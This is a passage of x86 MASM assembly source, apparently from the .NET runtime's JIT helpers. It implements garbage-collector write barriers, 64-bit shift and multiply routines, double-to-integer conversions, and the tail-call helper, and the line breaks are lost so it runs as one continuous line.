TEXTEQU <_JIT_TailCallVSDLeave@0> JIT_TailCallHelper TEXTEQU <_JIT_TailCallHelper@4> JIT_TailCallReturnFromVSD TEXTEQU <_JIT_TailCallReturnFromVSD@0> EXTERN g_ephemeral_low:DWORD EXTERN g_ephemeral_high:DWORD EXTERN g_lowest_address:DWORD EXTERN g_highest_address:DWORD EXTERN g_card_table:DWORD ifdef _DEBUG EXTERN WriteBarrierAssert:PROC endif ; _DEBUG EXTERN JIT_InternalThrowFromHelper:PROC ifdef FEATURE_HIJACK EXTERN JIT_TailCallHelper:PROC endif EXTERN _g_TailCallFrameVptr:DWORD EXTERN @JIT_FailFast@0:PROC EXTERN _s_gsCookie:DWORD EXTERN @JITutil_IsInstanceOfInterface@8:PROC EXTERN @JITutil_ChkCastInterface@8:PROC EXTERN @JITutil_IsInstanceOfAny@8:PROC EXTERN @JITutil_ChkCastAny@8:PROC ifdef WRITE_BARRIER_CHECK ; Those global variables are always defined, but should be 0 for Server GC g_GCShadow TEXTEQU <?g_GCShadow@@3PAEA> g_GCShadowEnd TEXTEQU <?g_GCShadowEnd@@3PAEA> EXTERN g_GCShadow:DWORD EXTERN g_GCShadowEnd:DWORD INVALIDGCVALUE equ 0CCCCCCCDh endif EXTERN _COMPlusEndCatch@20:PROC .686P .XMM ; The following macro is needed because of a MASM issue with the ; movsd mnemonic ; $movsd MACRO op1, op2 LOCAL begin_movsd, end_movsd begin_movsd: movupd op1, op2 end_movsd: org begin_movsd db 0F2h org end_movsd ENDM .586 ; The following macro is used to match the JITs ; multi-byte NOP sequence $nop3 MACRO db 090h db 090h db 090h ENDM ;*** ;JIT_WriteBarrier* - GC write barrier helper ; ;Purpose: ; Helper calls in order to assign an object to a field ; Enables book-keeping of the GC. ; ;Entry: ; EDX - address of ref-field (assigned to) ; the resp. other reg - RHS of assignment ; ;Exit: ; ;Uses: ; EDX is destroyed. ; ;Exceptions: ; ;******************************************************************************* ; The code here is tightly coupled with AdjustContextForWriteBarrier, if you change ; anything here, you might need to change AdjustContextForWriteBarrier as well ; Note that beside the AV case, we might be unwinding inside the region where we have ; already push ecx and ebp in the branch under FEATURE_DATABREAKPOINT WriteBarrierHelper MACRO rg ALIGN 4 ;; The entry point is the fully 'safe' one in which we check if EDX (the REF ;; begin updated) is actually in the GC heap PUBLIC _JIT_CheckedWriteBarrier&rg&@0 _JIT_CheckedWriteBarrier&rg&@0 PROC ;; check in the REF being updated is in the GC heap cmp edx, g_lowest_address jb WriteBarrier_NotInHeap_&rg cmp edx, g_highest_address jae WriteBarrier_NotInHeap_&rg ;; fall through to unchecked routine ;; note that its entry point also happens to be aligned ifdef WRITE_BARRIER_CHECK ;; This entry point is used when you know the REF pointer being updated ;; is in the GC heap PUBLIC _JIT_DebugWriteBarrier&rg&@0 _JIT_DebugWriteBarrier&rg&@0: endif ifdef _DEBUG push edx push ecx push eax push rg push edx call WriteBarrierAssert pop eax pop ecx pop edx endif ;_DEBUG ; in the !WRITE_BARRIER_CHECK case this will be the move for all ; addresses in the GCHeap, addresses outside the GCHeap will get ; taken care of below at WriteBarrier_NotInHeap_&rg ifndef WRITE_BARRIER_CHECK mov DWORD PTR [edx], rg endif ifdef WRITE_BARRIER_CHECK ; Test dest here so if it is bad AV would happen before we change register/stack ; status. This makes job of AdjustContextForWriteBarrier easier. cmp [edx], 0 ;; ALSO update the shadow GC heap if that is enabled ; Make ebp into the temporary src register. We need to do this so that we can use ecx ; in the calculation of the shadow GC address, but still have access to the src register push ecx push ebp mov ebp, rg ; if g_GCShadow is 0, don't perform the check cmp g_GCShadow, 0 je WriteBarrier_NoShadow_&rg mov ecx, edx sub ecx, g_lowest_address ; U/V jb WriteBarrier_NoShadow_&rg add ecx, [g_GCShadow] cmp ecx, [g_GCShadowEnd] ja WriteBarrier_NoShadow_&rg ; TODO: In Orcas timeframe if we move to P4+ only on X86 we should enable ; mfence barriers on either side of these two writes to make sure that ; they stay as close together as possible ; edx contains address in GC ; ecx contains address in ShadowGC ; ebp temporarially becomes the src register ;; When we're writing to the shadow GC heap we want to be careful to minimize ;; the risk of a race that can occur here where the GC and ShadowGC don't match mov DWORD PTR [edx], ebp mov DWORD PTR [ecx], ebp ;; We need a scratch register to verify the shadow heap. We also need to ;; construct a memory barrier so that the write to the shadow heap happens ;; before the read from the GC heap. We can do both by using SUB/XCHG ;; rather than PUSH. ;; ;; TODO: Should be changed to a push if the mfence described above is added. ;; sub esp, 4 xchg [esp], eax ;; As part of our race avoidance (see above) we will now check whether the values ;; in the GC and ShadowGC match. There is a possibility that we're wrong here but ;; being overaggressive means we might mask a case where someone updates GC refs ;; without going to a write barrier, but by its nature it will be indeterminant ;; and we will find real bugs whereas the current implementation is indeterminant ;; but only leads to investigations that find that this code is fundamentally flawed mov eax, [edx] cmp [ecx], eax je WriteBarrier_CleanupShadowCheck_&rg mov [ecx], INVALIDGCVALUE WriteBarrier_CleanupShadowCheck_&rg: pop eax jmp WriteBarrier_ShadowCheckEnd_&rg WriteBarrier_NoShadow_&rg: ; If we come here then we haven't written the value to the GC and need to. ; ebp contains rg ; We restore ebp/ecx immediately after this, and if either of them is the src ; register it will regain its value as the src register. mov DWORD PTR [edx], ebp WriteBarrier_ShadowCheckEnd_&rg: pop ebp pop ecx endif cmp rg, g_ephemeral_low jb WriteBarrier_NotInEphemeral_&rg cmp rg, g_ephemeral_high jae WriteBarrier_NotInEphemeral_&rg shr edx, 10 add edx, [g_card_table] cmp BYTE PTR [edx], 0FFh jne WriteBarrier_UpdateCardTable_&rg ret WriteBarrier_UpdateCardTable_&rg: mov BYTE PTR [edx], 0FFh ret WriteBarrier_NotInHeap_&rg: ; If it wasn't in the heap then we haven't updated the dst in memory yet mov DWORD PTR [edx], rg WriteBarrier_NotInEphemeral_&rg: ; If it is in the GC Heap but isn't in the ephemeral range we've already ; updated the Heap with the Object*. ret _JIT_CheckedWriteBarrier&rg&@0 ENDP ENDM ;*** ;JIT_ByRefWriteBarrier* - GC write barrier helper ; ;Purpose: ; Helper calls in order to assign an object to a byref field ; Enables book-keeping of the GC. ; ;Entry: ; EDI - address of ref-field (assigned to) ; ESI - address of the data (source) ; ECX can be trashed ; ;Exit: ; ;Uses: ; EDI and ESI are incremented by a DWORD ; ;Exceptions: ; ;******************************************************************************* ; The code here is tightly coupled with AdjustContextForWriteBarrier, if you change ; anything here, you might need to change AdjustContextForWriteBarrier as well ByRefWriteBarrierHelper MACRO ALIGN 4 PUBLIC _JIT_ByRefWriteBarrier@0 _JIT_ByRefWriteBarrier@0 PROC ;;test for dest in range mov ecx, [esi] cmp edi, g_lowest_address jb ByRefWriteBarrier_NotInHeap cmp edi, g_highest_address jae ByRefWriteBarrier_NotInHeap ifndef WRITE_BARRIER_CHECK ;;write barrier mov [edi],ecx endif ifdef WRITE_BARRIER_CHECK ; Test dest here so if it is bad AV would happen before we change register/stack ; status. This makes job of AdjustContextForWriteBarrier easier. cmp [edi], 0 ;; ALSO update the shadow GC heap if that is enabled ; use edx for address in GC Shadow, push edx ;if g_GCShadow is 0, don't do the update cmp g_GCShadow, 0 je ByRefWriteBarrier_NoShadow mov edx, edi sub edx, g_lowest_address ; U/V jb ByRefWriteBarrier_NoShadow add edx, [g_GCShadow] cmp edx, [g_GCShadowEnd] ja ByRefWriteBarrier_NoShadow ; TODO: In Orcas timeframe if we move to P4+ only on X86 we should enable ; mfence barriers on either side of these two writes to make sure that ; they stay as close together as possible ; edi contains address in GC ; edx contains address in ShadowGC ; ecx is the value to assign ;; When we're writing to the shadow GC heap we want to be careful to minimize ;; the risk of a race that can occur here where the GC and ShadowGC don't match mov DWORD PTR [edi], ecx mov DWORD PTR [edx], ecx ;; We need a scratch register to verify the shadow heap. We also need to ;; construct a memory barrier so that the write to the shadow heap happens ;; before the read from the GC heap. We can do both by using SUB/XCHG ;; rather than PUSH. ;; ;; TODO: Should be changed to a push if the mfence described above is added. ;; sub esp, 4 xchg [esp], eax ;; As part of our race avoidance (see above) we will now check whether the values ;; in the GC and ShadowGC match. There is a possibility that we're wrong here but ;; being overaggressive means we might mask a case where someone updates GC refs ;; without going to a write barrier, but by its nature it will be indeterminant ;; and we will find real bugs whereas the current implementation is indeterminant ;; but only leads to investigations that find that this code is fundamentally flawed mov eax, [edi] cmp [edx], eax je ByRefWriteBarrier_CleanupShadowCheck mov [edx], INVALIDGCVALUE ByRefWriteBarrier_CleanupShadowCheck: pop eax jmp ByRefWriteBarrier_ShadowCheckEnd ByRefWriteBarrier_NoShadow: ; If we come here then we haven't written the value to the GC and need to. mov DWORD PTR [edi], ecx ByRefWriteBarrier_ShadowCheckEnd: pop edx endif ;;test for *src in ephemeral segement cmp ecx, g_ephemeral_low jb ByRefWriteBarrier_NotInEphemeral cmp ecx, g_ephemeral_high jae ByRefWriteBarrier_NotInEphemeral mov ecx, edi add esi,4 add edi,4 shr ecx, 10 add ecx, [g_card_table] cmp byte ptr [ecx], 0FFh jne ByRefWriteBarrier_UpdateCardTable ret ByRefWriteBarrier_UpdateCardTable: mov byte ptr [ecx], 0FFh ret ByRefWriteBarrier_NotInHeap: ; If it wasn't in the heap then we haven't updated the dst in memory yet mov [edi],ecx ByRefWriteBarrier_NotInEphemeral: ; If it is in the GC Heap but isn't in the ephemeral range we've already ; updated the Heap with the Object*. add esi,4 add edi,4 ret _JIT_ByRefWriteBarrier@0 ENDP ENDM ;******************************************************************************* ; Write barrier wrappers with fcall calling convention ; UniversalWriteBarrierHelper MACRO name ALIGN 4 PUBLIC @JIT_&name&@8 @JIT_&name&@8 PROC mov eax,edx mov edx,ecx jmp _JIT_&name&EAX@0 @JIT_&name&@8 ENDP ENDM ; WriteBarrierStart and WriteBarrierEnd are used to determine bounds of ; WriteBarrier functions so can determine if got AV in them. ; PUBLIC _JIT_WriteBarrierGroup@0 _JIT_WriteBarrierGroup@0 PROC ret _JIT_WriteBarrierGroup@0 ENDP ifdef FEATURE_USE_ASM_GC_WRITE_BARRIERS ; Only define these if we're using the ASM GC write barriers; if this flag is not defined, ; we'll use C++ versions of these write barriers. UniversalWriteBarrierHelper <CheckedWriteBarrier> UniversalWriteBarrierHelper <WriteBarrier> endif WriteBarrierHelper <EAX> WriteBarrierHelper <EBX> WriteBarrierHelper <ECX> WriteBarrierHelper <ESI> WriteBarrierHelper <EDI> WriteBarrierHelper <EBP> ByRefWriteBarrierHelper ; This is the first function outside the "keep together range". Used by BBT scripts. PUBLIC _JIT_WriteBarrierGroup_End@0 _JIT_WriteBarrierGroup_End@0 PROC ret _JIT_WriteBarrierGroup_End@0 ENDP ;*********************************************************************/ ; In cases where we support it we have an optimized GC Poll callback. Normall (when we're not trying to ; suspend for GC, the CORINFO_HELP_POLL_GC helper points to this nop routine. When we're ready to suspend ; for GC, we whack the Jit Helper table entry to point to the real helper. When we're done with GC we ; whack it back. PUBLIC @JIT_PollGC_Nop@0 @JIT_PollGC_Nop@0 PROC ret @JIT_PollGC_Nop@0 ENDP ;*********************************************************************/ ;llshl - long shift left ; ;Purpose: ; Does a Long Shift Left (signed and unsigned are identical) ; Shifts a long left any number of bits. ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; EDX:EAX - long value to be shifted ; ECX - number of bits to shift by ; ;Exit: ; EDX:EAX - shifted value ; ALIGN 16 PUBLIC JIT_LLsh JIT_LLsh PROC ; Reduce shift amount mod 64 and ecx, 63 ; Handle shifts of between bits 0 and 31 cmp ecx, 32 jae short LLshMORE32 shld edx,eax,cl shl eax,cl ret ; Handle shifts of between bits 32 and 63 LLshMORE32: ; The x86 shift instructions only use the lower 5 bits. mov edx,eax xor eax,eax shl edx,cl ret JIT_LLsh ENDP ;*********************************************************************/ ;LRsh - long shift right ; ;Purpose: ; Does a signed Long Shift Right ; Shifts a long right any number of bits. ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; EDX:EAX - long value to be shifted ; ECX - number of bits to shift by ; ;Exit: ; EDX:EAX - shifted value ; ALIGN 16 PUBLIC JIT_LRsh JIT_LRsh PROC ; Reduce shift amount mod 64 and ecx, 63 ; Handle shifts of between bits 0 and 31 cmp ecx, 32 jae short LRshMORE32 shrd eax,edx,cl sar edx,cl ret ; Handle shifts of between bits 32 and 63 LRshMORE32: ; The x86 shift instructions only use the lower 5 bits. mov eax,edx sar edx, 31 sar eax,cl ret JIT_LRsh ENDP ;*********************************************************************/ ; LRsz: ;Purpose: ; Does a unsigned Long Shift Right ; Shifts a long right any number of bits. ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; EDX:EAX - long value to be shifted ; ECX - number of bits to shift by ; ;Exit: ; EDX:EAX - shifted value ; ALIGN 16 PUBLIC JIT_LRsz JIT_LRsz PROC ; Reduce shift amount mod 64 and ecx, 63 ; Handle shifts of between bits 0 and 31 cmp ecx, 32 jae short LRszMORE32 shrd eax,edx,cl shr edx,cl ret ; Handle shifts of between bits 32 and 63 LRszMORE32: ; The x86 shift instructions only use the lower 5 bits. mov eax,edx xor edx,edx shr eax,cl ret JIT_LRsz ENDP ;*********************************************************************/ ; LMul: ;Purpose: ; Does a long multiply (same for signed/unsigned) ; ; NOTE: This routine has been adapted from the Microsoft CRTs. ; ;Entry: ; Parameters are passed on the stack: ; 1st pushed: multiplier (QWORD) ; 2nd pushed: multiplicand (QWORD) ; ;Exit: ; EDX:EAX - product of multiplier and multiplicand ; ALIGN 16 PUBLIC JIT_LMul JIT_LMul PROC ; AHI, BHI : upper 32 bits of A and B ; ALO, BLO : lower 32 bits of A and B ; ; ALO * BLO ; ALO * BHI ; + BLO * AHI ; --------------------- mov eax,[esp + 8] ; AHI mov ecx,[esp + 16] ; BHI or ecx,eax ;test for both hiwords zero. mov ecx,[esp + 12] ; BLO jnz LMul_hard ;both are zero, just mult ALO and BLO mov eax,[esp + 4] mul ecx ret 16 ; callee restores the stack LMul_hard: push ebx mul ecx ;eax has AHI, ecx has BLO, so AHI * BLO mov ebx,eax ;save result mov eax,[esp + 8] ; ALO mul dword ptr [esp + 20] ;ALO * BHI add ebx,eax ;ebx = ((ALO * BHI) + (AHI * BLO)) mov eax,[esp + 8] ; ALO ;ecx = BLO mul ecx ;so edx:eax = ALO*BLO add edx,ebx ;now edx has all the LO*HI stuff pop ebx ret 16 ; callee restores the stack JIT_LMul ENDP ;*********************************************************************/ ; JIT_Dbl2LngOvf ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; with check for overflow ; ; uses stdcall calling conventions ; PUBLIC JIT_Dbl2LngOvf JIT_Dbl2LngOvf PROC fnclex fld qword ptr [esp+4] push ecx push ecx fstp qword ptr [esp] call JIT_Dbl2Lng mov ecx,eax fnstsw ax test ax,01h jnz Dbl2LngOvf_throw mov eax,ecx ret 8 Dbl2LngOvf_throw: mov ECX, CORINFO_OverflowException_ASM call JIT_InternalThrowFromHelper ret 8 JIT_Dbl2LngOvf ENDP ;*********************************************************************/ ; JIT_Dbl2Lng ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; note that changing the rounding mode is very expensive. This ; routine basiclly does the truncation sematics without changing ; the rounding mode, resulting in a win. ; PUBLIC JIT_Dbl2Lng JIT_Dbl2Lng PROC fld qword ptr[ESP+4] ; fetch arg lea ecx,[esp-8] sub esp,16 ; allocate frame and ecx,-8 ; align pointer on boundary of 8 fld st(0) ; duplciate top of stack fistp qword ptr[ecx] ; leave arg on stack, also save in temp fild qword ptr[ecx] ; arg, round(arg) now on stack mov edx,[ecx+4] ; high dword of integer mov eax,[ecx] ; low dword of integer test eax,eax je integer_QNaN_or_zero arg_is_not_integer_QNaN: fsubp st(1),st ; TOS=d-round(d), ; { st(1)=st(1)-st & pop ST } test edx,edx ; what's sign of integer jns positive ; number is negative ; dead cycle ; dead cycle fstp dword ptr[ecx] ; result of subtraction mov ecx,[ecx] ; dword of difference(single precision) add esp,16 xor ecx,80000000h add ecx,7fffffffh ; if difference>0 then increment integer adc eax,0 ; inc eax (add CARRY flag) adc edx,0 ; propagate carry flag to upper bits ret 8 positive: fstp dword ptr[ecx] ;17-18 ; result of subtraction mov ecx,[ecx] ; dword of difference (single precision) add esp,16 add ecx,7fffffffh ; if difference<0 then decrement integer sbb eax,0 ; dec eax (subtract CARRY flag) sbb edx,0 ; propagate carry flag to upper bits ret 8 integer_QNaN_or_zero: test edx,7fffffffh jnz arg_is_not_integer_QNaN fstp st(0) ;; pop round(arg) fstp st(0) ;; arg add esp,16 ret 8 JIT_Dbl2Lng ENDP ;*********************************************************************/ ; JIT_Dbl2LngP4x87 ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; This code is faster on a P4 than the Dbl2Lng code above, but is ; slower on a PIII. Hence we choose this code when on a P4 or above. ; PUBLIC JIT_Dbl2LngP4x87 JIT_Dbl2LngP4x87 PROC arg1 equ <[esp+0Ch]> sub esp, 8 ; get some local space fld qword ptr arg1 ; fetch arg fnstcw word ptr arg1 ; store FPCW movzx eax, word ptr arg1 ; zero extend - wide or ah, 0Ch ; turn on OE and DE flags mov dword ptr [esp], eax ; store new FPCW bits fldcw word ptr [esp] ; reload FPCW with new bits fistp qword ptr [esp] ; convert mov eax, dword ptr [esp] ; reload FP result mov edx, dword ptr [esp+4] ; fldcw word ptr arg1 ; reload original FPCW value add esp, 8 ; restore stack ret 8 JIT_Dbl2LngP4x87 ENDP ;*********************************************************************/ ; JIT_Dbl2LngSSE3 ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; This code is faster than the above P4 x87 code for Intel processors ; equal or later than Core2 and Atom that have SSE3 support ; .686P .XMM PUBLIC JIT_Dbl2LngSSE3 JIT_Dbl2LngSSE3 PROC arg1 equ <[esp+0Ch]> sub esp, 8 ; get some local space fld qword ptr arg1 ; fetch arg fisttp qword ptr [esp] ; convert mov eax, dword ptr [esp] ; reload FP result mov edx, dword ptr [esp+4] add esp, 8 ; restore stack ret 8 JIT_Dbl2LngSSE3 ENDP .586 ;*********************************************************************/ ; JIT_Dbl2IntSSE2 ;Purpose: ; converts a double to a long truncating toward zero (C semantics) ; ; uses stdcall calling conventions ; ; This code is even faster than the P4 x87 code for Dbl2LongP4x87, ; but only returns a 32 bit value (only good for int). ; .686P .XMM PUBLIC JIT_Dbl2IntSSE2 JIT_Dbl2IntSSE2 PROC $movsd xmm0, [esp+4] cvttsd2si eax, xmm0 ret 8 JIT_Dbl2IntSSE2 ENDP .586 ;*********************************************************************/ ; This is the small write barrier thunk we use when we know the ; ephemeral generation is higher in memory than older generations. ; The 0x0F0F0F0F values are bashed by the two functions above. ; This the generic version - wherever the code says ECX, ; the specific register is patched later into a copy ; Note: do not replace ECX by EAX - there is a smaller encoding for ; the compares just for EAX, which won't work for other registers. ; ; READ THIS!!!!!! ; it is imperative that the addresses of of the values that we overwrite ; (card table, ephemeral region ranges, etc) are naturally aligned since ; there are codepaths that will overwrite these values while the EE is running. ; PUBLIC JIT_WriteBarrierReg_PreGrow JIT_WriteBarrierReg_PreGrow PROC mov DWORD PTR [edx], ecx cmp ecx, 0F0F0F0F0h jb NoWriteBarrierPre shr edx, 10 nop ; padding for alignment of constant cmp byte ptr [edx+0F0F0F0F0h], 0FFh jne WriteBarrierPre NoWriteBarrierPre: ret nop ; padding for alignment of constant nop ; padding for alignment of constant WriteBarrierPre: mov byte ptr [edx+0F0F0F0F0h], 0FFh ret JIT_WriteBarrierReg_PreGrow ENDP ;*********************************************************************/ ; This is the larger write barrier thunk we use when we know that older ; generations may be higher in memory than the ephemeral generation ; The 0x0F0F0F0F values are bashed by the two functions above. ; This the generic version - wherever the code says ECX, ; the specific register is patched later into a copy ; Note: do not replace ECX by EAX - there is a smaller encoding for ; the compares just for EAX, which won't work for other registers. ; NOTE: we need this aligned for our validation to work properly ALIGN 4 PUBLIC JIT_WriteBarrierReg_PostGrow JIT_WriteBarrierReg_PostGrow PROC mov DWORD PTR [edx], ecx cmp ecx, 0F0F0F0F0h jb NoWriteBarrierPost cmp ecx, 0F0F0F0F0h jae NoWriteBarrierPost shr edx, 10 nop ; padding for alignment of constant cmp byte ptr [edx+0F0F0F0F0h], 0FFh jne WriteBarrierPost NoWriteBarrierPost: ret nop ; padding for alignment of constant nop ; padding for alignment of constant WriteBarrierPost: mov byte ptr [edx+0F0F0F0F0h], 0FFh ret JIT_WriteBarrierReg_PostGrow ENDP ;*********************************************************************/ ; ; a fake virtual stub dispatch register indirect callsite $nop3 call dword ptr [eax] PUBLIC JIT_TailCallReturnFromVSD JIT_TailCallReturnFromVSD: ifdef _DEBUG nop ; blessed callsite endif call VSDHelperLabel ; keep call-ret count balanced. VSDHelperLabel: ; Stack at this point : ; ... ; m_ReturnAddress ; m_regs ; m_CallerAddress ; m_pThread ; vtbl ; GSCookie ; &VSDHelperLabel OffsetOfTailCallFrame = 8 ; ebx = pThread ifdef _DEBUG mov esi, _s_gsCookie ; GetProcessGSCookie() cmp dword ptr [esp+OffsetOfTailCallFrame-SIZEOF_GSCookie], esi je TailCallFrameGSCookieIsValid call @JIT_FailFast@0 TailCallFrameGSCookieIsValid: endif ; remove the padding frame from the chain mov esi, dword ptr [esp+OffsetOfTailCallFrame+4] ; esi = TailCallFrame::m_Next mov dword ptr [ebx + Thread_m_pFrame], esi ; skip the frame add esp, 20 ; &VSDHelperLabel, GSCookie, vtbl, m_Next, m_CallerAddress pop edi ; restore callee saved registers pop esi pop ebx pop ebp ret ; return to m_ReturnAddress ;------------------------------------------------------------------------------ ; PUBLIC JIT_TailCall JIT_TailCall PROC ; the stack layout at this point is: ; ; ebp+8+4*nOldStackArgs <- end of argument destination ; ... ... ; ebp+8+ old args (size is nOldStackArgs) ; ... ... ; ebp+8 <- start of argument destination ; ebp+4 ret addr ; ebp+0 saved ebp ; ebp-c saved ebx, esi, edi (if have callee saved regs = 1) ; ; other stuff (local vars) in the jitted callers' frame ; ; esp+20+4*nNewStackArgs <- end of argument source ; ... ... ; esp+20+ new args (size is nNewStackArgs) to be passed to the target of the tail-call ; ... ... ; esp+20 <- start of argument source ; esp+16 nOldStackArgs ; esp+12 nNewStackArgs ; esp+8 flags (1 = have callee saved regs, 2 = virtual stub dispatch) ; esp+4 target addr ; esp+0 retaddr ; ; If you change this function, make sure you update code:TailCallStubManager as well. RetAddr equ 0 TargetAddr equ 4 nNewStackArgs equ 12 nOldStackArgs equ 16 NewArgs equ 20 ; extra space is incremented as we push things on the stack along the way ExtraSpace = 0 push 0 ; Thread* ; save ArgumentRegisters push ecx push edx ; eax = GetThread(). Trashes edx INLINE_GETTHREAD eax, edx mov [esp + 8], eax ExtraSpace = 12 ; pThread, ecx, edx ifdef FEATURE_HIJACK ; Make sure that the EE does have the return address patched. So we can move it around. test dword ptr [eax+Thread_m_State], TS_Hijacked_ASM jz NoHijack ; JIT_TailCallHelper(Thread *) push eax call JIT_TailCallHelper ; this is __stdcall NoHijack: endif mov edx, dword ptr [esp+ExtraSpace+JIT_TailCall_StackOffsetToFlags] ; edx = flags mov eax, dword ptr [esp+ExtraSpace+nOldStackArgs] ; eax = nOldStackArgs mov ecx, dword ptr [esp+ExtraSpace+nNewStackArgs] ; ecx = nNewStackArgs ; restore callee saved registers ; <TODO>@TODO : esp based - doesnt work with localloc</TODO> test edx, 1 jz NoCalleeSaveRegisters mov edi, dword ptr [ebp-4] ; restore edi mov esi, dword ptr [ebp-8] ; restore esi mov ebx, dword ptr [ebp-12] ; restore ebx NoCalleeSaveRegisters: push dword ptr [ebp+4] ; save the original return address for later push edi push esi ExtraSpace = 24 ; pThread, ecx, edx, orig retaddr, edi, esi CallersEsi = 0 CallersEdi = 4 OrigRetAddr = 8 pThread = 20 lea edi, [ebp+8+4*eax] ; edi = the end of argument destination lea esi, [esp+ExtraSpace+NewArgs+4*ecx] ; esi = the end of argument source mov ebp, dword ptr [ebp] ; restore ebp (do not use ebp as scratch register to get a good stack trace in debugger) test edx, 2 jnz VSDTailCall ; copy the arguments to the final destination test ecx, ecx jz ArgumentsCopied ArgumentCopyLoop: ; At this point, this is the value of the registers : ; edi = end of argument dest ; esi = end of argument source ; ecx = nNewStackArgs mov eax, dword ptr [esi-4] sub edi, 4 sub esi, 4 mov dword ptr [edi], eax dec ecx jnz ArgumentCopyLoop ArgumentsCopied: ; edi = the start of argument destination mov eax, dword ptr [esp+4+4] ; return address mov ecx, dword ptr [esp+ExtraSpace+TargetAddr] ; target address mov dword ptr [edi-4], eax ; return address mov dword ptr [edi-8], ecx ; target address lea eax, [edi-8] ; new value for esp pop esi pop edi pop ecx ; skip original return address pop edx pop ecx mov esp, eax PUBLIC JIT_TailCallLeave ; add a label here so that TailCallStubManager can access it JIT_TailCallLeave: retn ; Will branch to targetAddr. This matches the ; "call" done by JITted code, keeping the ; call-ret count balanced. ;---------------------------------------------------------------------- VSDTailCall: ;---------------------------------------------------------------------- ; For the Virtual Stub Dispatch, we create a fake callsite to fool ; the callsite probes. In order to create the call site, we need to insert TailCallFrame ; if we do not have one already. ; ; ecx = nNewStackArgs ; esi = the end of argument source ; edi = the end of argument destination ; ; The stub has pushed the following onto the stack at this point : ; pThread, ecx, edx, orig retaddr, edi, esi cmp dword ptr [esp+OrigRetAddr], JIT_TailCallReturnFromVSD jz VSDTailCallFrameInserted_DoSlideUpArgs ; There is an exiting TailCallFrame that can be reused ; try to allocate space for the frame / check whether there is enough space ; If there is sufficient space, we will setup the frame and then slide ; the arguments up the stack. Else, we first need to slide the arguments ; down the stack to make space for the TailCallFrame sub edi, (SIZEOF_GSCookie + SIZEOF_TailCallFrame) cmp edi, esi jae VSDSpaceForFrameChecked ; There is not sufficient space to wedge in the TailCallFrame without ; overwriting the new arguments. ; We need to allocate the extra space on the stack, ; and slide down the new arguments mov eax, esi sub eax, edi sub esp, eax mov eax, ecx ; to subtract the size of arguments mov edx, ecx ; for counter neg eax ; copy down the arguments to the final destination, need to copy all temporary storage as well add edx, (ExtraSpace+NewArgs)/4 lea esi, [esi+4*eax-(ExtraSpace+NewArgs)] lea edi, [edi+4*eax-(ExtraSpace+NewArgs)] VSDAllocFrameCopyLoop: mov eax, dword ptr [esi] mov dword ptr [edi], eax add esi, 4 add edi, 4 dec edx jnz VSDAllocFrameCopyLoop ; the argument source and destination are same now mov esi, edi VSDSpaceForFrameChecked: ; At this point, we have enough space on the stack for the TailCallFrame, ; and we may already have slided down the arguments mov eax, _s_gsCookie ; GetProcessGSCookie() mov dword ptr [edi], eax ; set GSCookie mov eax, _g_TailCallFrameVptr ; vptr mov edx, dword ptr [esp+OrigRetAddr] ; orig return address mov dword ptr [edi+SIZEOF_GSCookie], eax ; TailCallFrame::vptr mov dword ptr [edi+SIZEOF_GSCookie+28], edx ; TailCallFrame::m_ReturnAddress mov eax, dword ptr [esp+CallersEdi] ; restored edi mov edx, dword ptr [esp+CallersEsi] ; restored esi mov dword ptr [edi+SIZEOF_GSCookie+12], eax ; TailCallFrame::m_regs::edi mov dword ptr [edi+SIZEOF_GSCookie+16], edx ; TailCallFrame::m_regs::esi mov dword ptr [edi+SIZEOF_GSCookie+20], ebx ; TailCallFrame::m_regs::ebx mov dword ptr [edi+SIZEOF_GSCookie+24], ebp ; TailCallFrame::m_regs::ebp mov ebx, dword ptr [esp+pThread] ; ebx = pThread mov eax, dword ptr [ebx+Thread_m_pFrame] lea edx, [edi+SIZEOF_GSCookie] mov dword ptr [edi+SIZEOF_GSCookie+4], eax ; TailCallFrame::m_pNext mov dword ptr [ebx+Thread_m_pFrame], edx ; hook the new frame into the chain ; setup ebp chain lea ebp, [edi+SIZEOF_GSCookie+24] ; TailCallFrame::m_regs::ebp ; Do not copy arguments again if they are in place already ; Otherwise, we will need to slide the new arguments up the stack cmp esi, edi jne VSDTailCallFrameInserted_DoSlideUpArgs ; At this point, we must have already previously slided down the new arguments, ; or the TailCallFrame is a perfect fit ; set the caller address mov edx, dword ptr [esp+ExtraSpace+RetAddr] ; caller address mov dword ptr [edi+SIZEOF_GSCookie+8], edx ; TailCallFrame::m_CallerAddress ; adjust edi as it would by copying neg ecx lea edi, [edi+4*ecx] jmp VSDArgumentsCopied VSDTailCallFrameInserted_DoSlideUpArgs: ; set the caller address mov edx, dword ptr [esp+ExtraSpace+RetAddr] ; caller address mov dword ptr [edi+SIZEOF_GSCookie+8], edx ; TailCallFrame::m_CallerAddress ; copy the arguments to the final destination test ecx, ecx jz VSDArgumentsCopied VSDArgumentCopyLoop: mov eax, dword ptr [esi-4] sub edi, 4 sub esi, 4 mov dword ptr [edi], eax dec ecx jnz VSDArgumentCopyLoop VSDArgumentsCopied: ; edi = the start of argument destination mov ecx, dword ptr [esp+ExtraSpace+TargetAddr] ; target address mov dword ptr [edi-4], JIT_TailCallReturnFromVSD ; return address mov dword ptr [edi-12], ecx ; address of indirection cell mov ecx, [ecx] mov dword ptr [edi-8], ecx ; target address ; skip original return address and saved esi, edi add esp, 12 pop edx pop ecx lea esp, [edi-12] ; new value for esp pop eax PUBLIC JIT_TailCallVSDLeave ; add a label here so that TailCallStubManager can access it JIT_TailCallVSDLeave: retn ; Will branch to targetAddr. This matches the ; "call" done by JITted code, keeping the ; call-ret count balanced. JIT_TailCall ENDP ;------------------------------------------------------------------------------ ; HCIMPL2_VV(float, JIT_FltRem, float dividend, float divisor) @JIT_FltRem@8 proc public fld dword ptr [esp+4] ; divisor fld dword ptr [esp+8] ; dividend fremloop: fprem fstsw ax fwait sahf jp fremloop ; Continue while the FPU status bit C2 is set fxch ; swap, so divisor is on top and result is in st(1) fstp ST(0) ; Pop the divisor from the FP stack retn 8 ; Return value is in st(0) @JIT_FltRem@8 endp ; HCIMPL2_VV(float, JIT_DblRem, float dividend, float divisor) @JIT_DblRem@16 proc public 